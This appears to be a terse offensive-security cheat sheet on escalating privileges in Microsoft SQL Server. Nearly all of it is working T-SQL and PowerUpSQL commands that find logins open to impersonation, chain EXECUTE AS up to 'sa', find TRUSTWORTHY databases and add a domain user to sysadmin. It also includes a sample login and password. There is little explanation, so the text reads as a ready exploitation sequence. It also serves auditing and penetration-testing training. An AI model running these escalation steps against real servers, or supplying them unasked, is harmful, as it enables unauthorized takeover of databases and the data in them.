# abusing\_sql\_server\_trusts--privilege\_escalation

PRIVILEGE ESCALATION User Impersonation (EXECUTE AS)

Find SQL Server logins which can be impersonated in the current database:

SELECT distinct b.name FROM sys.server\_permissions a INNER JOIN sys.server\_principals b ON a.grantor\_principal\_id = b.principal\_id WHERE a.permission\_name = 'IMPERSONATE'

User Impersonation (EXECUTE AS) (PowerUpSQL)

Find logins which can be impersonated Invoke-SQLAuditPrivImpersonateLogin -Username sqladmin Password PASSw0rd123 -Instance ops-mssql -Verbose

User Impersonation (EXECUTE AS)

Exploiting impersonation

SELECT SYSTEM\_USER SELECT IS\_SRVROLEMEMBER('sysadmin') EXECUTE AS LOGIN = 'dbadmin' SELECT SYSTEM\_USER SELECT IS\_SRVROLEMEMBER('sysadmin') SELECT ORIGINAL\_LOGIN()

User Impersonation (EXECUTE AS) (PowerUpSQL)

Exploiting impersonation (note the difficulty in automating the abuse of chained/nested impersonation)

Invoke-SQLAuditPrivImpersonateLogin -Instance sqlserver01.victim.local –Exploit -Verbose

User Impersonation (EXECUTE AS)

Exploiting chained/nested impersonation

SELECT SYSTEM\_USER SELECT IS\_SRVROLEMEMBER('sysadmin') EXECUTE AS LOGIN = 'dbadmin' SELECT SYSTEM\_USER SELECT IS\_SRVROLEMEMBER('sysadmin') SELECT ORIGINAL\_LOGIN() EXECUTE AS LOGIN = 'sa' SELECT IS\_SRVROLEMEMBER('sysadmin')

TRUSTWORTHY Database

Look for TRUSTWORTHY database (can be done with public role)

SELECT name as database\_name , SUSER\_NAME(owner\_sid) AS database\_owner , is\_trustworthy\_on AS TRUSTWORTHY from sys.databases

TRUSTWORTHY Database

Look for db\_owner role (can be done with public role)

use  SELECT DP1.name AS DatabaseRoleName, isnull (DP2.name, 'No members') AS DatabaseUserName FROM sys.database\_role\_members AS DRM RIGHT OUTER JOIN sys.database\_principals AS DP1 ON DRM.role\_principal\_id = DP1.principal\_id LEFT OUTER JOIN sys.database\_principals AS DP2 ON DRM.member\_principal\_id = DP2.principal\_id WHERE DP1.type = 'R' ORDER BY DP1.name;

TRUSTWORTHY Database

Look for TRUSTWORTHY database using PowerUpSQL

Invoke-SQLAudit -Instance sqlserver01.victim.local -Verbose | Out-GridView

Invoke-SQLAuditPrivTrustworthy -Instance sqlserver01 -Verbose

TRUSTWORTHY Database

EXECUTE AS to elevate privileges

EXECUTE AS USER = 'dbo' SELECT system\_user EXEC sp\_addsrvrolemember 'domain\user123','sysadmin'
